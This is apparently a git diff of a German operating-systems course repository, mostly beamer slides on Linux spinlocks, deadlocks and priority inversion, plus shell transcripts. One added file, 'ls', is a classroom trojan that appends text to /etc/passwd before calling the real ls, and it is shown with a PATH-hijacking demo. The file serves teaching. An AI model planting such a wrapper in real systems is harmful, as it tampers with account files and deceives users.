+  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
+
+  \medskip
+
+  \begin{lstlisting}
+    static inline void spin_lock (spinlock_t *lock)
+    {
+      raw_spin_lock (&lock->rlock);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9.3,0.95){\line(-1,0){4.0}}
+    \put(9.3,0.95){\line(0,-1){2.1}}
+    \put(9.3,-1.15){\vector(-1,0){1.0}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
+
+  \medskip
+
+  \begin{lstlisting}
+    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(10.0,0.55){\line(-1,0){0.5}}
+    \put(10.0,0.55){\line(0,-1){1.7}}
+    \put(10.0,-1.15){\vector(-1,0){1.3}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
+
+  \medskip
+
+  \begin{lstlisting}
+    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(10.7,0.55){\line(-1,0){0.5}}
+    \put(10.7,0.55){\line(0,-1){1.75}}
+    \put(10.7,-1.2){\vector(-1,0){2.3}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
+
+  \medskip
+
+  \begin{lstlisting}
+    void __lockfunc __raw_spin_lock (spinlock_t *lock)
+    {
+      for (;;)
+        {
+          preempt_disable ();
+          if (likely (do_raw_spin_trylock (lock)))
+            break;
+          preempt_enable ();
+
+          if (!(lock)->break_lock)
+            (lock)->break_lock = 1;
+          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
+            arch_spin_relax (&lock->raw_lock);
+        }
+      (lock)->break_lock = 0;
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(10.7,4.75){\line(-1,0){3.5}}
+    \put(10.7,4.75){\line(0,-1){5.95}}
+    \put(10.7,-1.2){\vector(-1,0){1.1}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
+
+  \medskip
+
+  \begin{lstlisting}
+    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
+    {
+      return arch_spin_trylock (&(lock)->raw_lock);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(11.5,0.95){\line(-1,0){3.5}}
+    \put(11.5,0.95){\line(0,-1){2.1}}
+    \put(11.5,-1.15){\vector(-1,0){0.7}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
+
+  \medskip
+
+  \begin{lstlisting}
+    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
+    {
+      return __ticket_spin_trylock (lock);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9.5,0.95){\line(-1,0){3.5}}
+    \put(9.5,0.95){\vector(0,-1){1.7}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
+
+  \medskip
+
+  \begin{lstlisting}
+    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
+    {
+      arch_spinlock_t old, new;
+
+      old.tickets = ACCESS_ONCE (lock->tickets);
+      if (old.tickets.head != old.tickets.tail)
+        return 0;
+
+      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
+
+      /* cmpxchg is a full barrier, so nothing can move before it */
+      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(2.2,0.3){\line(0,1){0.4}}
+    \put(9.0,0.3){\line(-1,0){6.8}}
+    \put(9.0,0.3){\line(0,-1){1.45}}
+    \put(9.0,-1.15){\vector(-1,0){3.2}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
+
+  \medskip
+
+  \begin{lstlisting}
+    #define cmpxchg(ptr, old, new) \
+      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9.0,0.5){\line(-1,0){1.8}}
+    \put(9.0,0.5){\line(0,-1){1.65}}
+    \put(9.0,-1.15){\vector(-1,0){2.2}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
+
+  \medskip
+
+  \begin{lstlisting}
+    #define __cmpxchg(ptr, old, new, size) \
+      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(2.2,-0.1){\line(0,1){0.3}}
+    \put(9.0,-0.1){\line(-1,0){6.8}}
+    \put(9.0,-0.1){\line(0,-1){1.05}}
+    \put(9.0,-1.15){\vector(-1,0){2.2}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
+
+  \medskip
+
+  \begin{lstlisting}
+    asm volatile (lock "cmpxchgl %2,%1" \
+                  : "=a" (__ret), "+m" (*__ptr) \
+                  : "r" (__new), "0" (__old) \
+                  : "memory");
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9.8,1.8){\vector(-1,0){0.6}}
+    \put(9.8,1.2){\line(0,1){0.6}}
+    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
+  \end{picture}
+
+\end{frame}
+
+\setlength{\pdfpageheight}{\normalpdfpageheight}
+
+%\sectionnonumber{Literaturempfehlung}
+%\subsectionnonumber{Automotive Embedded Systeme}
+%
+%\begin{frame}[c]
+%
+%  \showsectionnonumber
+%
+%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
+%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
+%
+%  \medskip
+%
+%  \showsubsectionnonumber
+%
+%  \vspace{-\medskipamount}
+%
+%  Springer-Verlag, Berlin, Heidelberg 2005
+%
+%  \bigskip
+%
+%  Lizenz: proprietär
+%
+%  \medskip
+%
+%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
+%
+%\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ressourcen reservieren
+  \begin{itemize}
+    \item
+      \newterm{Semaphor}\\
+      gemeinsame Variable mehrerer Prozesse\\
+      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
+      Ressource belegt \textarrow\ Kontextwechsel
+    \medskip
+    \item
+      \newterm{Mutex}\\
+      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
+      auf eine Ressource zugreifen kann
+    \medskip
+    \item
+      \newterm{Spinlock} (\emph{busy waiting\/})\\
+      leichtgewichtige Alternative zu Kontextwechsel
+    \medskip
+    \item
+      \newterm{Kritischer Abschnitt -- critical section}\\
+      Programmabschnitt zwischen Reservierung\\
+      und Freigabe einer Ressource\\
+      \textarrow\ sollte immer so kurz wie möglich sein
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  \begin{picture}(0,0)
+    \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
+  \end{picture}%
+  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
+  \begin{itemize}
+    \item
+      \newterm{Deadlock\/}: Prozeß wartet
+    \item
+      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
+      (z.\,B.\ \emph{busy waiting\/})
+  \end{itemize}
+
+  \pause
+  \bigskip
+
+  Beispiel: Philosophenproblem
+
+  \only<2-3>{%
+    \begin{itemize}
+      \item
+        5 Philosophen, 5 Gabeln
+      \item
+        2 Gabeln zum Essen notwendig
+      \item
+        Wer essen will, nimmt eine Gabel\\
+        und wartet notfalls auf die zweite.
+      \item
+        Keiner legt eine einzelne Gabel\\
+        wieder zurück.
+    \end{itemize}
+    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
+    \pause
+    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
+    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
+  }
+  \only<4->{%
+    \bigskip
+
+    Bedingungen für Verklemmungen:
+
+    \begin{minipage}[t]{4.5cm}
+      \begin{itemize}
+        \item
+          Exklusivität
+        \item
+          \newterm{hold and wait}
+        \item
+          Entzug nicht möglich
+        \item
+          zirkuläre Blockade
+      \end{itemize}
+    \end{minipage}\pause[5]
+    \begin{minipage}[t]{7.5cm}
+      \begin{itemize}
+        \arrowitem
+          Spooling
+        \arrowitem
+          simultane Zuteilung
+        \arrowitem
+          Prozesse suspendieren, beenden, \newterm{Rollback}
+        \arrowitem
+          Reihenfolge abhängig von Ressourcen
+      \end{itemize}
+    \end{minipage}
+  }
+
+\end{frame}
+
+\subsection{Prioritäten}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Linux 0.01
+  \begin{itemize}
+    \item
+      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
+      Prozeß mit höchstem Zähler bekommt Rechenzeit.
+    \item
+      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
+      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
+    \item
+      \emph{keine\/} harte Echtzeit
+    \arrowitem
+      \newterm{dynamische Prioritätenvergabe\/}:\\
+      Rechenzeit hängt vom Verhalten des Prozesses ab
+  \end{itemize}
+
+  \medskip
+
+  Echtzeitbetriebssysteme
+  \begin{itemize}
+    \item
+      Prozesse können einen festen Anteil an Rechenzeit bekommen.
+    \item
+      Bei Ereignissen können Prozesse hoher Priorität\\
+      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
+    \arrowitem
+      \newterm{statische Prioritätenvergabe}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Echtzeitbetriebssysteme
+  \begin{itemize}
+    \item
+      Prozesse können einen festen Anteil an Rechenzeit bekommen.
+    \item
+      Bei Ereignissen können Prozesse hoher Priorität\\
+      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
+  \end{itemize}
+
+  \vspace{0cm plus 1filll}
+
+  \begin{center}
+    \begin{picture}(11,4)(-1,0)
+      \small
+
+      \put(-0.1,0.5){\vector(1,0){10.1}}
+      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
+      \put(0,0.4){\vector(0,1){3.6}}
+      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
+
+      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
+      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+      \put(0,3){\line(1,0){10}}
+
+      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
+      \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
+      \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
+      \alt<1>{%
+        \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
+      }{%
+        \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
+      }
+      \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+      \put(0,1){\line(1,0){10}}
+
+      \pause
+
+      \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
+      \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
+      \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
+      \put(0,2){\line(1,0){10}}
+
+    \end{picture}
+  \end{center}
+
+\end{frame}
+
+\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  \only<4->{%
+    Der höher priorisierte Prozeß bewirkt selbst,\\
+    daß er eine Ressource verspätet bekommt.
+
+    \medskip
+
+    \textarrow\ \newterm{begrenzte Prioritätsinversion}
+
+    \medskip
+
+    maximale Verzögerung: Länge des kritischen Bereichs
+  }
+
+  \vspace{0cm plus 1filll}
+
+  \begin{center}
+    \begin{picture}(11,4)(-1,0)
+      \small
+
+      \put(-0.1,0.5){\vector(1,0){10.1}}
+      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
+      \put(0,0.4){\vector(0,1){3.6}}
+      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
+
+      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
+      \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}}
+      \only<3-4>{%
+        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
+        {\thicklines
+        \put(3.3,2.95){\line(2,1){1.0}}
+        \put(3.3,3.45){\line(2,-1){1.0}}}
+      }
+      \only<5->{%
+        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
+      }
+      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
+      \only<1-2>{%
+        \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
+      }
+      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+      \put(0,3){\line(1,0){10}}
+
+      \only<2->{%
+        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
+        \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
+        \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
+        \only<2-4>{%
+          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
+          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        }
+        \only<5->{%
+          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
+          \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}}
+          \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}}
+        }
+        \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
+        \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        \put(0,1){\line(1,0){10}}
+      }
+    \end{picture}
+  \end{center}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  \visible<4->{%
+    Ein Prozeß mit mittlerer Priorität bewirkt,
+    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
+
+    \medskip
+
+  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
+
+  \pause
+  \vspace{0cm plus 1filll}
+
+  \begin{center}
+    \begin{picture}(11,4)(-1,0)
+      \small
+
+      \put(-0.1,0.5){\vector(1,0){10.1}}
+      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
+      \put(0,0.4){\vector(0,1){3.6}}
+      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
+
+      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
+      \only<2>{%
+        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
+        {\thicklines
+        \put(3.3,2.95){\line(2,1){1.0}}
+        \put(3.3,3.45){\line(2,-1){1.0}}}
+        \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
+        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+      }
+      \put(0,3){\line(1,0){10}}
+
+      \only<2->{%
+        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
+        \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
+        \alt<1-4>{%
+          \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
+        }{%
+          \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
+        }
+        \only<2>{%
+          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
+          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        }
+        \only<3-4>{%
+          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
+%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        }
+        \only<2>{%
+          \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
+          \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        }
+        \put(0,1){\line(1,0){10}}
+      }
+
+      \only<5->{%
+        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
+        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
+        \put(0,2){\line(1,0){10}}
+      }
+    \end{picture}
+  \end{center}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ein Prozeß mit mittlerer Priorität bewirkt,
+  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
+
+  \medskip
+
+  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
+
+  \medskip
+
+  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
+
+  \only<1>{%
+    \begin{center}
+      \includegraphics[width=8.7cm]{pathfinder.jpg}
+    \end{center}
+    \vspace*{-1cm}
+  }
+
+  \only<2->{%
+    \bigskip
+
+    Gegenmaßnahmen
+    \begin{itemize}
+      \item
+        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
+        Der Besitzer des Mutex erbt die Priorität\\
+        des Prozesses, der auf den Mutex wartet.
+      \smallskip
+      \item
+        \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
+        Der Besitzer des Mutex bekommt sofort\\
+        die Priorität des höchstmöglichen Prozesses,\\
+        der evtl.\ den Mutex benötigen könnte.
+      \smallskip
+      \item
+        \newterm{Priority Aging}\\
+        Die Priorität wächst mit der Wartezeit.
+        \pause[3]
+        \begin{picture}(0,0)
+          \put(1.2,2.5){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
+            \begin{minipage}{4cm}
+              nur möglich, wenn\\
+              Mutexe im Spiel sind
+            \end{minipage}}}
+        \end{picture}
+    \end{itemize}
+    \vspace*{-1cm}
+  }
+
+\end{frame}
+
+\fi
+
+\end{document}
diff --git a/20210409/hello.c b/20210409/hello.c
new file mode 100644
index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac
--- /dev/null
+++ b/20210409/hello.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hello, world!\n");
+  return 0;
+}
diff --git a/20220314/logo-hochschule-bochum-cvh-text.pdf b/20210409/logo-hochschule-bochum-cvh-text.pdf
similarity index 100%
rename from 20220314/logo-hochschule-bochum-cvh-text.pdf
rename to 20210409/logo-hochschule-bochum-cvh-text.pdf
diff --git a/20220314/logo-hochschule-bochum.pdf b/20210409/logo-hochschule-bochum.pdf
similarity index 100%
rename from 20220314/logo-hochschule-bochum.pdf
rename to 20210409/logo-hochschule-bochum.pdf
diff --git a/20210409/ls b/20210409/ls
new file mode 100755
index 0000000000000000000000000000000000000000..bcd0818450af6f9403c5644591c930be2d63242d
--- /dev/null
+++ b/20210409/ls
@@ -0,0 +1,2 @@
+echo "Fiese Dinge" >> /etc/passwd
+/bin/ls "$@"
diff --git a/20220314/pathfinder.jpg b/20210409/pathfinder.jpg
similarity index 100%
rename from 20220314/pathfinder.jpg
rename to 20210409/pathfinder.jpg
diff --git a/20220314/pgslides.sty b/20210409/pgslides.sty
similarity index 100%
rename from 20220314/pgslides.sty
rename to 20210409/pgslides.sty
diff --git a/20220314/philosophenproblem.jpg b/20210409/philosophenproblem.jpg
similarity index 100%
rename from 20220314/philosophenproblem.jpg
rename to 20210409/philosophenproblem.jpg
diff --git a/20210409/shell-variables-1.txt b/20210409/shell-variables-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..0a5e0fe7047043f87deaae38767afb9b9413effa
--- /dev/null
+++ b/20210409/shell-variables-1.txt
@@ -0,0 +1,25 @@
+cassini/home/peter/bo/2021ss/bs/20210409> t="ls -lrt"
+cassini/home/peter/bo/2021ss/bs/20210409> $t
+insgesamt 3012
+lrwxrwxrwx 1 peter peter      32 Apr 17  2016 philosophenproblem.jpg -> ../common/philosophenproblem.jpg
+lrwxrwxrwx 1 peter peter      24 Apr 17  2016 pathfinder.jpg -> ../common/pathfinder.jpg
+lrwxrwxrwx 1 peter peter      43 Apr 17  2016 Operating_system_placement-de.pdf -> ../common/Operating_system_placement-de.pdf
+lrwxrwxrwx 1 peter peter      36 Apr 17  2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf
+lrwxrwxrwx 1 peter peter      45 Apr 17  2016 logo-hochschule-bochum-cvh-text.pdf -> ../common/logo-hochschule-bochum-cvh-text.pdf
+lrwxrwxrwx 1 peter peter      22 Apr 13  2018 pgslides.sty -> ../common/pgslides.sty
+-rw-r--r-- 1 peter peter   49866 Feb 15 16:38 yesvnc-wc-6.html
+-rw-r--r-- 1 peter peter   19082 Apr  9 11:14 unix-20210409.tex
+-rw-r--r-- 1 peter peter  149551 Apr  9 11:14 unix-20210409.pdf
+-rw-r--r-- 1 peter peter   41934 Apr  9 12:08 bs-20210409.tex
+-rw-r--r-- 1 peter peter     196 Apr  9 12:08 tmp.inputs
+-rw-r--r-- 1 peter peter     340 Apr  9 12:08 bs-20210409-fig1.tex
+-rw-r--r-- 1 peter peter     340 Apr  9 12:08 bs-20210409-fig2.tex
+-rw-r--r-- 1 peter peter    5374 Apr  9 12:08 bs-20210409.vrb
+-rw-r--r-- 1 peter peter     722 Apr  9 12:08 bs-20210409.toc
+-rw-r--r-- 1 peter peter       0 Apr  9 12:08 bs-20210409.snm
+-rw-r--r-- 1 peter peter     704 Apr  9 12:08 bs-20210409.out
+-rw-r--r-- 1 peter peter    4733 Apr  9 12:08 bs-20210409.nav
+-rw-r--r-- 1 peter peter    7882 Apr  9 12:08 bs-20210409.aux
+-rw-r--r-- 1 peter peter 2691461 Apr  9 12:08 bs-20210409.pdf
+-rw-r--r-- 1 peter peter   69148 Apr  9 12:08 bs-20210409.log
+-rw-r--r-- 1 peter peter     939 Apr  9 13:11 projekte.txt
diff --git a/20210409/shell-variables-2.txt b/20210409/shell-variables-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..f69a0e9ac0c2319f55a19626ccc192bef74477c3
--- /dev/null
+++ b/20210409/shell-variables-2.txt
@@ -0,0 +1,26 @@
+cassini/home/peter/bo/2021ss/bs/20210409> echo $PATH
+/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
+cassini/home/peter/bo/2021ss/bs/20210409> which ls
+/bin/ls
+cassini/home/peter/bo/2021ss/bs/20210409> ls
+bs-20210409.aux       bs-20210409.toc                      philosophenproblem.jpg
+bs-20210409-fig1.tex  bs-20210409.vrb                      projekte.txt
+bs-20210409-fig2.tex  hello                                shell-variables-1.txt
+bs-20210409.log       hello.c                              tmp.inputs
+bs-20210409.nav       logo-hochschule-bochum-cvh-text.pdf  unix-20210409.pdf
+bs-20210409.out       logo-hochschule-bochum.pdf           unix-20210409.tex
+bs-20210409.pdf       Operating_system_placement-de.pdf    yesvnc-wc-6.html
+bs-20210409.snm       pathfinder.jpg
+bs-20210409.tex       pgslides.sty
+cassini/home/peter/bo/2021ss/bs/20210409> hello
+bash: hello: Kommando nicht gefunden.
+cassini/home/peter/bo/2021ss/bs/20210409> ./hello
+Hello, world!
+cassini/home/peter/bo/2021ss/bs/20210409> /home/peter/bo/2021ss/bs/20210409/hello
+Hello, world!
+cassini/home/peter/bo/2021ss/bs/20210409> PATH=".:$PATH"
+cassini/home/peter/bo/2021ss/bs/20210409> echo $PATH
+.:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
+cassini/home/peter/bo/2021ss/bs/20210409> hello
+Hello, world!
+cassini/home/peter/bo/2021ss/bs/20210409>
diff --git a/20210409/shell-variables-3.txt b/20210409/shell-variables-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..48d7663c0c30af96d6381cd7551cf75e145e8c85
--- /dev/null
+++ b/20210409/shell-variables-3.txt
@@ -0,0 +1,14 @@
+cassini/home/peter/bo/2021ss/bs/20210409> ls
+./ls: Zeile 1: /etc/passwd: Keine Berechtigung
+bs-20210409.aux       bs-20210409.toc                      pgslides.sty
+bs-20210409-fig1.tex  bs-20210409.vrb                      philosophenproblem.jpg
+bs-20210409-fig2.tex  hello                                projekte.txt
+bs-20210409.log       hello.c                              shell-variables-1.txt
+bs-20210409.nav       logo-hochschule-bochum-cvh-text.pdf  shell-variables-2.txt
+bs-20210409.out       logo-hochschule-bochum.pdf           tmp.inputs
+bs-20210409.pdf       ls                                   unix-20210409.pdf
+bs-20210409.snm       Operating_system_placement-de.pdf    unix-20210409.tex
+bs-20210409.tex       pathfinder.jpg                       yesvnc-wc-6.html
+cassini/home/peter/bo/2021ss/bs/20210409> cat ls
+echo "Fiese Dinge" >> /etc/passwd
+/bin/ls "$@"
diff --git a/20210409/unix-20210409.pdf b/20210409/unix-20210409.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..8d636f941c718b6fb62d7dd359c769c769c9dcb9
Binary files /dev/null and b/20210409/unix-20210409.pdf differ
diff --git a/20210409/unix-20210409.tex b/20210409/unix-20210409.tex
new file mode 100644
index 0000000000000000000000000000000000000000..f466cba3fe1bfde8417ad862b2eb210a0ec1d298
--- /dev/null
+++ b/20210409/unix-20210409.tex
@@ -0,0 +1,759 @@
+% unix-20210409.pdf - Lecture Slides on Unix Fundamentals
+% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021  Peter Gerwinski
+%
+% This document is free software: you can redistribute it and/or
+% modify it either under the terms of the Creative Commons
+% Attribution-ShareAlike 3.0 License, or under the terms of the
+% GNU General Public License as published by the Free Software
+% Foundation, either version 3 of the License, or (at your option)
+% any later version.
+%
+% This document is distributed in the hope that it will be useful,
+% but WITHOUT ANY WARRANTY; without even the implied warranty of
+% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+% GNU General Public License for more details.
+%
+% You should have received a copy of the GNU General Public License
+% along with this document.  If not, see <http://www.gnu.org/licenses/>.
+%
+% You should have received a copy of the Creative Commons
+% Attribution-ShareAlike 3.0 Unported License along with this
+% document.  If not, see <http://creativecommons.org/licenses/>.
+
+\documentclass[10pt,t]{beamer}
+
+\usepackage{pgslides}
+\usepackage{rotating}
+\usepackage{pdftricks}
+\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
+\usepackage{eurosym}
+
+\title{Einführung in Unix}
+\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
+\date{9.\ April 2021}
+
+\begin{document}
+
+\maketitleframe
+
+\sectionnonumber{U\quad Einführung in Unix}
+
+\begin{frame}
+
+  \showsectionnonumber
+
+%  \begingroup
+%    \large\color{structure}%
+%    \textbf{Angewandte Informatik: wichtiges Werkzeug}
+%    \par\smallskip
+%    \textbf{Grundlagen Rechnertechnik: Beispiel für Skriptsprache}
+%    \par\bigskip
+%  \endgroup
+
+%  \begin{itemize}
+%    \item[\textbf{U}] \textbf{Einführung in Unix}
+      \begin{itemize}
+        \item[U.1] \color{red}Grundkonzepte
+        \item[U.2] Die Kommandozeile: Grundlagen
+        \item[U.3] Dateisysteme
+        \item[U.4] Ein- und Ausgabeströme
+        \item[U.5] Pipes
+        \item[U.6] Verzweigungen und Schleifen
+%        \item[\dots]
+      \end{itemize}
+%  \end{itemize}
+
+\end{frame}
+
+\subsectionnonumber{U.1\quad Grundkonzepte}
+
+\begin{frame}
+
+  \begin{minipage}[b]{6.5cm}
+    \showsectionnonumber
+    \vspace{-\medskipamount}
+    \showsubsectionnonumber
+  \end{minipage}
+
+  \begin{description}
+    \addtolength{\leftskip}{-1cm}
+    \item[1965]
+      Vorgänger: Multics (Multiplexed Information and Computing Service)\\
+      "`überladen"'
+    \item[1970]
+      Unix: Einfachheit als Grundkonzept
+    \item[1972]
+      Umstellung auf neu entwickelte Programmiersprache C
+    \item[1975]
+      AT\&T: Unix inkl.\ Quelltext für Universitäten
+    \item[1977]
